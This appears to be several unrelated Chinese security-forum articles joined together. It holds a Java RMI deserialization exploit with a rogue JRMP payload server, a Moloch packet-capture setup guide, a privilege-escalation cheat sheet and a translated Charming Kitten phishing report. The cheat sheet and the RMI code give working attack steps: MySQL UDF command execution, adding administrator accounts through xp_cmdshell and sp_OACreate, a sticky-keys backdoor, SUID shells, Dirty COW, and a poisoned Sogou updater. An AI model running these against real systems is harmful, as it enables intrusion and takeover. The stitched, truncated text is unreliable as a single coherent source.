mos.writeObject(generateRemote());
}
public static Remote generateRemote() throws Exception {
.... // 如：CommonsCollections 5 payload 等等
return remote;
}
}
MarOutputStream 对写入的序列化数据做处理（模拟原有的序列化类）
import sun.rmi.transport.ObjectTable;
import sun.rmi.transport.Target;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.rmi.Remote;
import java.rmi.server.RMIClassLoader;
import java.rmi.server.RemoteStub;
import java.security.AccessController;
import java.security.PrivilegedAction;
public class MarOutputStream extends ObjectOutputStream {
public MarOutputStream(OutputStream var1) throws IOException {
this(var1, 1);
}
public MarOutputStream(OutputStream var1, int var2) throws IOException {
super(var1);
this.useProtocolVersion(var2);
AccessController.doPrivileged(new PrivilegedAction<Void>() {
public Void run() {
MarOutputStream.this.enableReplaceObject(true);
System.out.println("AccessController.doPrivileged");
return null;
}
});
}
protected final Object replaceObject(Object var1) throws IOException {
if (var1 instanceof Remote && !(var1 instanceof RemoteStub)) {
Target var2 = ObjectTable.getTarget((Remote)var1);
System.out.println("var2：" + var2);
if (var2 != null) {
System.out.println("var2.getStub()：" + var2.getStub());
return var2.getStub();
}
}
System.out.println("var1 :" + var1);
return var1;
}
protected void annotateClass(Class<?> var1) throws IOException {
System.out.println("annotateClass" + var1);
this.writeLocation(RMIClassLoader.getClassAnnotation(var1));
}
protected void annotateProxyClass(Class<?> var1) throws IOException {
System.out.println("annotateProxyClass" + var1);
this.annotateClass(var1);
}
protected void writeLocation(String var1) throws IOException {
System.out.println("writeLocation" + var1);
this.writeObject(var1);
}
}
JDK 在 jdk8u121 版本后加入了白名单机制，在对接收的数据反序列化时进行了调用 `registryFilter`
方法对反序列化的类做判断，不满足则抛出异常。threedr3am 师傅已经做过分析了，本处不再详细叙述。`ysoserial` 项目中
`payloads.JRMPClient` 模块正是对白名单机制的绕过。利用场景：当目标通过
`LocateRegistry.createRegistry(1099);` 创建了注册服务时，首先外网开启一个类似 `JRMPListener` 模块的
`ServerSocket` 接收和处理请求。然后给目标传输一个 `payloads.JRMPClient` 模块的序列化对象，目标通过对
`RemoteObject` 的反序列化和刚才外网 `JRMPListener` 模块开启的 `ServerSocket`
服务建立通信，`JRMPListener` 模块给目标发送 `payload` 即可。
目标 `register` 服务
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class register {
public static void main(String[] args) {
//注册管理器
Registry registry = null;
try {
//创建一个服务注册管理器
registry = LocateRegistry.createRegistry(1099);
} catch (RemoteException e) {
e.printStackTrace();
}
while (true);
}
}
外网 `JRMPListener`
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.net.ServerSocket;
import java.net.Socket;
import java.rmi.Remote;
import java.util.HashMap;
import java.util.Map;
public class JRMPServer {
public static void main(String[] args) throws Exception {
ServerSocket ss = new ServerSocket(8899);
Socket s;
while (( s = ss.accept() ) != null){
System.out.println("accept");
DataInputStream dis = new DataInputStream(s.getInputStream());
dis.readInt();
dis.readShort();
dis.readByte();
DataOutputStream dos = new DataOutputStream(s.getOutputStream());
dos.writeByte(78);
dos.writeUTF("127.0.0.1");
dos.writeInt(1099);
dis.readUTF();
dis.readInt();
dis.read();
ObjectInputStream ois = new ObjectInputStream(s.getInputStream());
ois.readLong();
ois.readInt();
ois.readLong();
ois.readShort();
ois.readInt();
ois.readLong();
dos.writeByte(81);
ObjectOutputStream oos = new ObjectOutputStream(s.getOutputStream());
oos.writeByte(2);
oos.writeInt(0);
oos.writeLong(0);
oos.writeShort(0);
MarOutputStream mos = new MarOutputStream(s.getOutputStream());
try {
mos.writeObject(generateRemote());
}catch (Exception e){
System.out.println("aaa");
}
}
}
public static Remote generateRemote() throws Exception {
.... // 如：CommonsCollections 5 payload 等等
Remote remote = Remote.class.cast(Proxy.newProxyInstance(Server.class.getClassLoader(), new Class[] {Remote.class}, obj));
return remote;
}
}
给目标发送 `RemoteObjectInvocationHandler` 序列化对象
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
public class Client {
public static void main(String[] args) throws Exception{
Registry registry = null;
try {
registry = LocateRegistry.getRegistry("127.0.0.1",1099);
registry.bind("ffff", generate());
} catch (RemoteException e) {
e.printStackTrace();
}
}
public static Remote generate(){
ObjID oi = new ObjID(0);
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 8899);
LiveRef lr = new LiveRef(oi, te, false);
UnicastRef us = new UnicastRef(lr);
roih = new RemoteObjectInvocationHandler(us);
Remote rm = (Remote) Proxy.newProxyInstance(Client.class.getClassLoader(), new Class[]{Remote.class}, roih);
return rm;
}
}
## **参考**
<https://xz.aliyun.com/t/7264> | 社区文章 |
作者：[同程安全应急响应中心](https://mp.weixin.qq.com/s/iRobUHtTIAsaU-i2TvLjTQ
"同程安全应急响应中心")
#### 0x01 故事背景
某一天的早上你怀着愉快的心情来到公司，开始美好的一天工作生活。有个业务后台的同事找到你说，昨天下班后有人反馈说访问他的业务后台有问题，他想分析网络层面的数据包看看，是否能看出什么问题。你微微一笑，作为一个资深网工，抓包这种小事，这不是正是花式秀
tcpdump 还是 tshark 的时候么？
突然又觉得那里不对…什么鬼，要抓昨天晚上的数据包，你突然想到的竟然是这货...
既然没有这么逆天的技能的时光鸡小伙伴，那还是搭建一个流量回溯系统吧。
#### 0x02 架构简述
流量回溯系统首先要面临几个问题：数据包的存取和协议的分析，当数据量很大的时候检索的速度等…
刚开始的想法是使用 tshark 设定数据包大小，让 tshark 在后台一直抓包。用了一下效果不忍直视。
后来又找了一些其它的解决方案比如: [Analyzing Network Packets with Wireshark, Elasticsearch,
and Kibana](https://www.elastic.co/blog/analyzing-network-packets-with-wireshark-elasticsearch-and-kibana "Analyzing Network Packets with Wireshark,
Elasticsearch, and Kibana")之类的，效果都不是很好
直到有一天 老大介绍了一个系统 moloch
数据的来源是交换机的镜像端口，moloch 系统主要涉及三个组件 Capture，elasticsearch 和 Viewer Capture 用来抓取
流量会以pcap的格式存储到硬盘上面，还会存一份对应关系到es中，Viewer提供web界面。
###### moloch简介
Moloch是一款由 AOL 开源的，能够大规模的捕获IPv4数据包（PCAP）、索引和数据库系统
###### 环境搭建
存储数据包对机器的性能要求 moloch 提供了评估页面
[Moloch Estimators](http://molo.ch/#estimators "Moloch Estimators")
硬件环境：我的测试环境是一台Dell Inc. PowerEdge R720/0T0WRN
cpu : Intel(R) Xeon(R) CPU E5-2650 0 @ 2.00GHz
memory: 100G+
disk: 8T
这是一台配置比较好的机器。所以我的Capture Machines和Elasticsearch Machines都放在一台上面，
有条件的强烈推荐把这2个组件分离开来
根据官方的文档有2个事情注意一下：
1 Moloch is no longer supported on 32 bit machines.
moloch不支持32位系统
2 Our deployment is on Centos 6 with the elrepo 4.x kernel upgrade for packet
performance increases.
内核4.X 有助于抓包性能提升
我的系统环境 centos7 更新到最新的版本
[root@moloch ~]# cat /etc/redhat-release CentOS Linux release 7.4.1708 (Core)
内核版本也更新到4.x。
[root@moloch ~]# uname -r4.13.7-1.el7.elrepo.x86_64
###### moloch 安装
先去官网下载一下安装包 [Downloads](http://molo.ch/#downloads "Downloads")
我选择是Nightly 版本 可以体验新的特性
moloch安装命令
rpm -ivh moloch-nightly.x86_64.rpm
###### pfring 安装
moloch的Capture 默认使用libpcap 后面我们会用pfring 提升抓包性能
• cd /etc/yum.repos.d/
• wget http://packages.ntop.org/centos-stable/ntop.repo -O ntop.repo• wget http://packages.ntop.org/centos-stable/epel-7.repo -O epel.repo• yum erase zeromq3 (Do this once to make sure zeromq3 is not installed)
• yum clean all
• yum update
• yum install pfring
###### elasticsearch 安装配置
es可以选择在配置moloch时候安装 也可以自己单独安装 我选择自己单独安装
安装命令
rpm -ivh elasticsearch-5.6.2.rpm
# 优化es[root@moloch elasticsearch]# vim jvm.options# Xms represents the initial size of total heap space# Xmx represents the maximum size of total heap space-Xms32g-Xmx32g
[root@moloch elasticsearch]# vim elasticsearch.yml#抓包经常会把硬盘用完，当硬盘使用空间到80% es 就开始报警 ，我直接把报警关掉的。cluster.routing.allocation.disk.threshold_enabled: falsenetwork.host: 10.10.7.7
[root@moloch ~]# curl http://10.10.7.7:9200{ "name" : "E2BtdPC", "cluster_name" : "elasticsearch", "cluster_uuid" : "EiSTiNE-QGaTt9z0V8HPkw", "version" : { "number" : "5.6.2", "build_hash" : "57e20f3", "build_date" : "2017-09-23T13:16:45.703Z", "build_snapshot" : false, "lucene_version" : "6.6.1"
}, "tagline" : "You Know, for Search"}
#### 0x03 配置优化
###### 配置moloch
# 开始使用脚本配置moloch[root@moloch db]# /data/moloch-nightly/bin/ConfigureFound interfaces: bond0;em1;em2;em3;em4;lo# 选择需要监控的网卡 也就是你的镜像流量对应的网卡Semicolon ';' seperated list of interfaces to monitor [eth1] em4
Install Elasticsearch server locally for demo, must have at least 3G of memory, NOT recommended for prod# 写上es地址Elasticsearch server URL [http://localhost:9200] http://10.10.7.7:9200
# 输入一个密码
Password to encrypt S2S and other things [no-default] 输密码
Moloch - Creating configuration files
Installing systemd start files, use systemctl
Moloch - Installing /etc/logrotate.d/moloch to rotate files after 7 days
Moloch - Installing /etc/security/limits.d/99-moloch.conf to make core and memlock unlimited
Moloch - Downloading GEO files# 这个地方等待时间有点长，需要去下载下面的文件2017-09-27 14:56:46 URL:https://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.csv [23062017-09-27 14:57:02 URL:http://www.maxmind.com/download/geoip/database/asnum/GeoIPASNum.dat.gz [2462473/2017-09-27 15:13:14 URL:http://download.maxmind.com/download/geoip/database/asnum/GeoIPASNumv6.dat.gz [22017-09-27 15:13:26 URL:http://www.maxmind.com/download/geoip/database/GeoLiteCountry/GeoIP.dat.gz [65822017-09-27 15:13:35 URL:http://geolite.maxmind.com/download/geoip/database/GeoIPv6.dat.gz [1044601/10446# 5) Initialize/Upgrade Elasticsearch Moloch configuration[root@moloch db]# /data/moloch/db/db.pl http://10.10.7.7:9200 initIt is STRONGLY recommended that you stop ALL moloch captures and viewers before proceeding.
There is 1 elastic search data node, if you expect more please fix first before proceeding.
This is a fresh Moloch install
Erasing
Creating
Finished. Have fun!Finished#6) Add an admin user if a new install or after an init[root@moloch db]# /data/moloch/bin/moloch_add_user.sh admin "输密码" tcitops --admin
7) Start everything
[root@moloch db]# systemctl restart molochcapture.service[root@moloch db]# systemctl restart molochviewer.service8) Look at log files for errors
/data/moloch/logs/viewer.log
/data/moloch/logs/capture.log9) Visit http://molochhost:8005 with your favorite browser.
user: admin
password: password from step #6
不要使用弱口令哦
###### moloch 登陆
经过上面的配置，让我们来访问一下 moloch
在浏览器中输入 <http://10.10.7.7:8005> 输入账号上面定的密码。
出现如下界面的时候 表示系统已经搭建起来啦。
#### 0x04 数据删除
我现在的环境每天都有好几个T的数据包，es每天也有差不多200个G数据产生，所以当系统搭建起来后第一件事情 强烈推荐大家考虑数据的删除保留问题。
# 关于pcap的数据包 我是使用moloch来控制删除[root@moloch ~]# vim /data/moloch-nightly/etc/config.ini# moloch 默认是freeSpaceG = 5%，也就是磁盘空间会保留5% freeSpaceG = 5%
# es使用moloch自带的脚本来控制删除 [root@moloch db]# vim daily.sh #!/bin/sh# This script is only needed for Moloch deployments that monitor live traffic.# It drops the old index and optimizes yesterdays index.# It should be run once a day during non peak time.# CONFIGESHOSTPORT=10.100.10.7:9200
RETAINNUMDAYS=1
/data/moloch-nightly/db/db.pl $ESHOSTPORT expire daily $RETAINNUMDAYS
# 在做个定时任务 每天晚上跑一次[root@moloch ~]# crontab -e01 04 * * * /data/moloch-nightly/db/daily.sh >> /var/log/moloch/daily.log 2>&1
###### 网卡优化
# Set ring buf size, see max with ethool -g eth0ethtool -G eth0 rx 4096 tx 4096# Turn off feature, see available features with ethtool -k eth0ethtool -K eth0 rx off tx off gs off tso off gso off
###### High Performance Settings
# MOST IMPORTANT, use basic magicMode, libfile kills performancemagicMode=basic# 官方说 pfring 效果更好 # pfring/snf might be betterpcapReadMethod=tpacketv3# Increase by 1 if still getting Input Dropstpacketv3NumThreads=2# DefaultspcapWriteMethod=simplepcapWriteSize = 2560000# Start with 5 packet threads, increase by 1 if getting thread dropspacketThreads=5# Set to number of packets a secondmaxPacketsInQueue = 200000
###### pfring 配置
# 什么鬼 官方又建议 先去尝试tpacketv3 不过我还是建议使用pfring We suggest you try tpacketv3 first if available on the host
[root@moloch ~]# vim /data/moloch-nightly/etc/config.inirootPlugins=reader-pfring.so
pcapReadMethod=pfring
###### 查看抓包
# 让我们先用命令看看 网卡接收流量
[root@moloch ~]# dstat -n
-net/total- recv send 115M 1761k 112M 1238k 109M 168k 107M 1111k 110M 1695k 111M 1477k 107M 2305k
我们在来看看同一时间moloch中抓包数据量，因为都是动态数值，但是结果如此接近，是不是可以说千兆网卡下已经可以做到100% 数据包抓取
不信你去看[pfring 官方文档](http://www.ntop.org/products/packet-capture/pf_ring/
"pfring 官方文档")
#### 0x05 功能使用
看到这里的同学都应该是真爱了,下面开始满满都是福利啦
###### 历史数据分析
你可以写一些 search expression 自由搭配检索你需要的信息，es作为支持速度就是快。
举个例子： 源ip == 10.101.26.60 and 协议是 http的 信息如下：
###### 数据包导出
你要是更习惯用wireshark分析 ，没有问题 moloch导出pcap也是很方便的
推荐 time range : “00:00:01” ， bounding: “last packet”
。moloch显示的是会话信息，bounding就很好理解了。
还有记得点一下 “matching items” 我的环境一秒钟 大概导出200M的数据量。
先确定一下时间 然后点一下 export pcap
然后开始 export pcap 就这么简单
#### 0x06 结束语
流量分析是一个比较复杂的系统工作，moloch在大规模的捕获数据包、索引方面做得相当卓越了。
在数据包的存取问题解决的情况下，随之而来的更多是数据包的分析：tcp的重传，mysql的慢查询，http的响应时间，这些可以从网络层面给业务带来红利的研究
值得大家去深挖研究。
欢迎有兴趣的小伙伴留言一起讨论。
* * * | 社区文章 |
**提权Webshell：**
尽量能够获取webshell，如果获取不到webshell可以在有文件上传的地方上传反弹shell脚本；或者利用漏洞（系统漏洞，服务器漏洞，第三方软件漏洞，数据库漏洞）来获取shell。
**反弹shell：** 利用kali虚拟机msfVENOM编写反弹shell脚本
被控制端发起的shell---通常用于被控制端因防火墙受限，权限不足、端口被占用
**开启监听：**
msfconsole模块监听响应的反弹shell脚本（当靶机点击脚本的时候），进入meterpreter模块，可以getsystem权限，获取信息等等，还可以开启远程服务功能（lcx，scocks5）
**Windows系统漏洞提权思路** \---windows(可执行文件：一种是.com；另一种.exe)
系统溢出漏洞操作说明
* 1、明确漏洞编号及版本
* 2、明确漏洞利用平台及版本
* 3、确保cmd执行权限正常运行
* 4、确保服务器相关防护软件情况
查看系统补丁，提权前期准备【前提已获取webshell】
* 方法一：输入shell进入到该主机的shell下，然后：systeminfo 查看系统详细信息
* 方法二：进入到 meterpreter 下，执行 run post/windows/gather/enum_patches 可以直接查看补丁情况
* 方法三：post/multi/recon/local_exploit_suggester 模块，用于快速识别系统中可能被利用的漏洞
* 方法四：WMIC命令也可以查看补丁数量
* wmic qfe get Caption,Description,HotFixID,InstalledOn
* 也可以直接找是否存在某个cve-2018-8120对应的KB4131188补丁
* wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB4131188"
* 方法五：Windows Exploit Suggester
该工具可以将系统中已经安装的补丁程序与微软的漏洞数据库进行比较，并可以识别可能导致权限提升的漏洞，而其只需要目标系统的信息。
通过msf生成反弹exe进行反弹操作，获取meterpreter通道
监听获取成功后，进行exp的筛选
探测可提取的模块use post/multi/recon/local_exploit_suggester
**windows系统漏洞示例**
根据systeminfo查看补丁信息，发现未打上相应的补丁kb952004、KB956572，于是利用上传巴西烤肉（Churrasco.exe）exp提权，Churrasco.exe是Windows2003系统下的一个本地提权漏洞，通过此工具可以以SYSTEM权限执行命令，从而可以达到添加用户的目的。
由于低权限用户无法执行太多操作，可以利用反弹上传Churrasco.exe，后续可以利用它来做提权。
添加用户以及加入管理员组，方便我们提高操作权限。
输入net user指令查看是否添加成功，最后提权成功。
**linux系统提权思路**
**linux基础信息收集**
uname -a 显示全部系统信息
cat /etc/issue 内核信息。此命令也适用于所有的Linux发行版
cat /etc/passwd 所有人都可看
ps aux | grep root
**(1)#内核漏洞提权**
方法：
通过信息收集方式得知linux内核版本
使用searchspolit搜索相应版本漏洞
例：searchsploit linux 4.0.0
searchsploit Ubuntu 16.04
searchsploit Ubuntu 16 kernel 3.10
找到对应的.c源文件,将其发送到靶机/或是靶机下载 scp， wget <http://127.0.0.1/xx.c>
编译，gcc xxx.c -o exp
**(2)#SUID提权**
概念
SUID（设置用户ID）是赋予文件的一种权限，它会出现在文件拥有者权限的执行位上，具有这种权限的文件会在其执行时，使调用者暂时获得该文件拥有者的权限。
特点
SUID 权限仅对二进制程序有效
执行者对于该程序需要有可执行权限(x权限)
SUID 权限仅仅在程序执行过程中有效
执行该程序时，执行者将具有该程序拥有者的权限
首先在本地查找符合条件的文件，有以下三个命令
列出来的所有文件都是以root用户权限来执行的，接下来找到可以提权的文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
常用的可用于suid提权的文件
Nmap、Vim、find、Bash、More、Less、cp
**(3)#nmap提权**
较旧版本的Nmap（2.02至5.21）带有交互模式，从而允许用户执行shell命令。因此可以使用交互式控制台来运行具有相同权限的shell。
方法一：
启动交互模式，使用nmap --interactive
!sh #执行之后将提供一个提权后的shell。
方法二：
Metasploit模块，也可以通过SUID Nmap二进制文件进行提权。
exploit/unix/local/setuid_nmap
**(4)#find提权**
实用程序find用来在系统中查找文件。同时，它也有执行命令的能力。
因此，如果配置为使用SUID权限运行，则可以通过find执行的命令都将以root身份去运行。
**(5)#sudo提权**
sudo命令以系统管理者的身份执行指令，也就是说，经由 sudo 所执行的指令就好像是 root 亲自执行。
sudo 表示 “superuser do”。
它允许已验证的用户以其他用户的身份来运行命令。其他用户可以是普通用户或者超级用户。然而，大部分时候我们用它来以提升的权限来运行命令。
**linux内核提权示例**
1.使用nc或lcx反弹到攻击者的电脑
2.使用 uname –a 查看Linux 版本内核等系统信息
3.在exploit库中寻找相应系统版本和内核的漏洞利用模块。（www.exploit-db.com）
4.上传exp到目标服务器中，chmod 777赋予exp权限，需要进行编译的先进行编译。
5.提权后便可以添加ssh用户 （useradd -o -u 0 -g 0 username）
通过webshell上传ft.pl，为了等下的反弹shell
系统信息收集Uname -a显示的版本内核为（2.6.24>2.6.22），可能存在脏牛漏洞
ft.pl文件反弹shell
Kali开启监听
编译dirty.c文件，生成一个可执行的EXP，运行./dirty su123（密码）
生成账号firefart，密码su123
新生成的管理员用户firefart把原来的root用户替换掉了（root--->firefart）
可以通过ssh连接
**数据库提权思路**
数据库获取网站数据库的账号和密码
\--通过读取一些数据库配置文件
数据库配置文件：命令规则（data、sql、inc、config、conn、database等）
\--通过mysql数据库的user表
数据库安装文件：安装目录下data/mysql/user.myd
frm:描述表结构文件，字段长度
myi：索引信息
myd：数据库信息文件，存储数据信息
**(1)mysql数据库——udf提权**
udf文件:udf(user-defined-function)是mysql得一个拓展接口，也称为用户自定义函数，用户通过自定义函数来实现在mysql中无法方便实现得功能
udf文件后缀名: .dll（windows）linux后缀名：.so
**提权原理**
已知root账号和密码，利用root权限，创建带有调用cmd函数的“udf.dll”。当我们把udf.dll导出指定文件夹引入mysql时候，其中的调用函数拿出来当作mysql函数来使用
注意事项
mysql版本小于5.1版本，udf.dll文件在windows2003下放在：c:\windows\system32。在windows2000放在：c:\winnt\system32
mysql版本大于5.1版本，udf.dll文件必须放置在mysql安装目录下的lib\plugin。但是大于5.1版本的时候没有plugin这个文件夹，需要自己创建。
利用udf文件加载函数执行命令
create function cmdshell returns string soname 'udf.dll'; //returns string
soname ‘导出的DLL路径’；
select cmdshell('net user ndsec ndsecpw /add');
select cmdshell('net localgroup administrators ndsec /add');
drop function cmdshell;
**(2)#数据库提权——mof提权**
mof文件:mof文件是mysql数据库的扩展文件
存放路径（C:/windows/system32/wbem/mof/nullevt.mof）
其作用是每隔5秒就会去监控进程创建和死亡。
提权条件
1、windows2003及以下
2、mysql启动身份具有权限去读写C:/windows/system32/wbem/mof/目录
3、secure-file-priv=不为null
提权原理
mof文件每5秒就会执行，而且是系统权限，我们可以通过load_file将文件写入/wbme/mof，然后系统每5秒就会执行一次我们上传的mof
mof当中是一段vbs脚本，通过通过控制vbs脚本让系统执行命令，进行提权。
**(3)#数据库提权——反弹端口提权**
提权条件
1、获取数据库的账号和密码，同时能够执行查询命令。
2、secure_file_priv=,可导出udf.dll到系统目录或者mysql数据库安装目录下的lib下plugin
3、授权mysql数据库远程用户的登录
**(4)#数据库提权——启动项提权 (这种方法不推荐)**
提权原理
使用mysql写文件，写一段vbs代码到开启自启动中。服务器重启的时候达到创建用户并提取。可以使用DDOS迫使服务器重启
提权条件
secure_file_priv不为null
已知账号和密码
**(5)linux系统-udf提权**
上传脚本进行监听
靶机连接数据库
查看版本
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select do_system('chmod u+s /usr/bin/find');
find / -exec "/bin/sh" \;
mssql数据库SA权限
执行命令存储过程：xp_cmshell、sp_OACreate
注册表存储过程：xp_regwrite
存储过程
其实质就是一个“集合”。它就是存储在sqlserver中预先定义好的“sql语句集合。”使用T-SQL语言编写好的各种小脚本共同组合成的集合体，我们就称为“存储过程”
**利用xp_cmdshell提权**
**（1）xp_cmdshell解释**
Xp_cmdshell是sqlserver中的组件，可以以操作系统命令解释器的方式执行给定的命令字符串，并以文本行方式返回任何输出。可以用来执行系统命令
**（2）xp_cmdshell开启**
默认在sql server2000中是开启的，在sqlserver2005之后的版本默认禁止。如果我们有sa权限，可以用命令开启
exec sp_configure ‘show advanced options’ , 1;reconfigure;
exec sp_configure ‘xp_cmdshell’, 1;reconfigure;
xp_cmdshell 关闭
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;
**（3）当xp_cmdshell删除或出错的情况下，使用sp_OACreate组件**
开启组件SP_OACreate
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',1;reconfigure;
关闭组件SP_OACreate
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;
利用SP_OACreate添加用户提权
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec
sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user quan
123456 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec
sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup
administrators quan /add'
利用SP_OACreate的其他操作
sp_OACreate替换粘贴键
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
execsp_oamethod@o,'copyfile',null,'c:\windows\explorer.exe'
,'c:\windows\system32\sethc.exe';
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
execsp_oamethod@o,'copyfile',null,'c:\windows\system32\sethc.exe'
,'c:\windows\system32\dllcache\sethc.exe';
**（4）使用注册表存储过程：xp_regwrite**
**udf提权示例**
* （1）mysql版本小于5.1版本，udf.dll文件在windows2003下放在：c:\windows\system32。在windows2000放在：c:\winnt\system32
* （2）mysql版本大于5.1版本，udf.dll文件必须放置在mysql安装目录下的lib\plugin。但是大于5.1版本的时候没有plugin这个文件夹，需要自己创建。
* （3）利用udf文件加载函数执行命令
```shell
create function cmdshell returns string soname 'udf.dll'; //returns string
soname ‘导出的DLL路径’；
select cmdshell('net user ndsec ndsecpw /add');
select cmdshell('net localgroup administrators ndsec /add');
drop function cmdshell;
```
用蚁剑连接一句话木马，执行蚁剑的数据库功能模块（可以执行SQL语句），查看版本（5.5.53>5.1），udf.dll文件必须放置在mysql安装目录下的lib\plugin。但是大于5.1版本的时候没有plugin这个文件夹，需要自己创建。
在c:/phpStudy/MySQL/lib/目录下创建一个文件夹plugin，然后上传我们的udf.dll文件
把udf.dll导出指定文件夹引入mysql，调用cmd函数的”udf.dll”
查看当前用户，当前并无ndsec用户
调用cmd创建用户，用户名为ndsec，密码为ndsecpw
net user ndsec ndsecpw /add
添加用户ndsec进系统用户组
net user localgroup administrators ndsec /add
删除cmd函数
查看当前系统用户，发现添加用户成功，提权成功
**第三方软件提权思路**
第三方软件指的是该非线性编辑系统生产商以外的软件公司提供的软件，功能十分强大，有些甚至是从工作站转移过来的，可以这么说，非线性编辑系统之所以能做到效果变幻莫测，匪夷所思，吸引众人的视线，完全取决于第三方软件。第三方软件提权，就是利用第三方软件存在的漏洞来进行获取一个权限的操作。
**Sogou输入法提权示例**
由于搜狗输入法默认设置是自动更新（很少有人去更改这个设置），更新程序没有对exe做任何校验直接在输入法升级时调用运行，导致可以执行恶意代码。
在获取webshell的前提下，在D盘下找到了搜狗的路径
编辑一个PinyinUp的bat文件，通过转义软件编译成PinyinUp.exe，里面存放着恶意代码
上传我们的PinyinUp.exe文件，把之前搜狗路径下的PinyinUp文件改个名字
当用户更新词库的时候就会调用我们的PinyinUp.exe程序，然后生成用户密码
添加成功 | 社区文章 |
# Charming Kitten王者归来
|
##### 译文声明
本文是翻译文章，文章原作者 certfa，文章来源：blog.certfa.com
原文地址：<https://blog.certfa.com/posts/the-return-of-the-charming-kitten/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言概述
网络钓鱼攻击是受伊朗政府支持的黑客惯用的攻击手段。我们对最新的网络钓鱼攻击进行了跟踪，并将其命名为“The Return of The Charming
Kitten”。
这起攻击的目标是那些曾参与对伊朗的经济和军事进行制裁的人士以及世界各国的政治家、公民、人权倡导者和新闻工作者。
根据分析，我们认为攻击者将那些开启2步验证的用户的email账户和验证码作为目标。防范此类攻击，使用Yubikey等加密设备是很有效的。
## 简介
在2018年10月初，推特用户MD0ugh揭露了一起伊朗黑客针对美国金融机构基础设施的网络钓鱼攻击。他推测这可能是伊朗遭受美国新的制裁后进行的反击。
该用户还提到了一个域名：accounts[-]support[.]services。这个域名与一些由伊朗政府支持的黑客有联系。我们认为这些黑客和之前曾报道过的伊斯兰革命卫队（IRGC）存在关联。
距这些活动发生一个月后，运营accounts-support[.]services的黑客们扩大了攻击规模，开始针对民权和人权活动家、政治人士以及伊朗和西方的新闻工作者攻击。
## 攻击手段
根据我们的调查，攻击者采用不同的手段实施攻击，主要分为以下2种：
1. 通过未知邮件、社交媒体及消息账户进行钓鱼攻击
2. 通过已经被黑客入侵的公众人物的邮箱、社交媒体及消息账户进行钓鱼攻击
我们还发现在进行网络钓鱼攻击之前，黑客会搜集目标的个人信息。黑客会根据目标的网络安全水平、联系人、活动、工作时间、地理位置等信息为每个目标设计具体的攻击计划。
我们注意到，不同于以往的钓鱼攻击，在最新的攻击活动中黑客并不会修改受害者的账户密码，这使他们能在不被发现的同时保持对受害者的电子邮件通信进行实时监控。
## 虚假的未授权访问警告
对网络钓鱼攻击样本进行分析，这些黑客主要使用电子邮件发送虚假警报对目标进行欺骗，例如通过notifications.mailservices[@gmail](https://github.com/gmail
"@gmail")[.]com, noreply.customermails[@gmail](https://github.com/gmail
"@gmail")[.]com, customer]email-delivery[.]info等向目标发出信息，提示说有未经授权的个人试图登陆他们的帐户。
图1：真假页面链接对比
通过使用这种方法，攻击者伪装成邮件服务商向目标发送安全警报，用户会立即点击“目标链接”查看详细信息，来对可疑访问进行限制。
## Google Drive虚假文件共享
发送带有标题的链接（例如来自Google
Drive的共享文件）是近年来黑客使用的最常见的技巧之一。与之前的攻击相比，这些攻击的独特之处在于他们使用了看似为Google
站点的页面，黑客构造虚假的Google Drive下载页面来欺骗用户，使受害者认为这一个真正的Google Drive页面，不存在安全问题。
图2：虚假Google Drive文件共享页面
例如，黑客使用hxxps://sites.google[.]com/view/sharingdrivesystem来欺骗用户，用户会因为在浏览器的地址栏中看到了google.com而相信该网页是真正的
Google Drive。
_通过伪造具有相同界面的Google
Drive文件共享页面，黑客假装与用户共享文件，用户本应该下载并运行共享的文件。然而该页面没有任何文件，他们使用入侵的Twitter，Facebook和Telegram帐户发送这些链接来寻找新的受害者。通过此页面将目标用户定向到虚假的谷歌登录页面，诱使用户输入身份验证信息。_
## 攻击流程
### 恶意链接
**受信任阶段：**
互联网用户都认为谷歌的主域（google.com）是安全可靠的，攻击者正是利用用户的这种心理，在sites.google.com（Google的子域）上构造虚假页面来欺骗用户。Google提供的网站服务使用户能够在其上显示各种内容。攻击者使用此功能发送虚假警报并将受害者重定向到不安全的网站或嵌入网络钓鱼链接的页面。
图4：攻击者如何滥用site.google.com
**非受信任阶段：**
由于Google可以快速识别并删除sites.google.com上的可疑链接和恶意链接，所以黑客会使用自己的网站进行伪造，进行攻击。钓鱼网站的链接几年前的网络钓鱼活动曾使用的链接非常类似。例如，攻击者在域名或网络钓鱼URL中使用诸如“management”,
“customize”, “service”, “identification”, “session”, “confirm”
等关键词来欺骗那些想要验证自己网址的用户。
### 邮件中的可点击图片
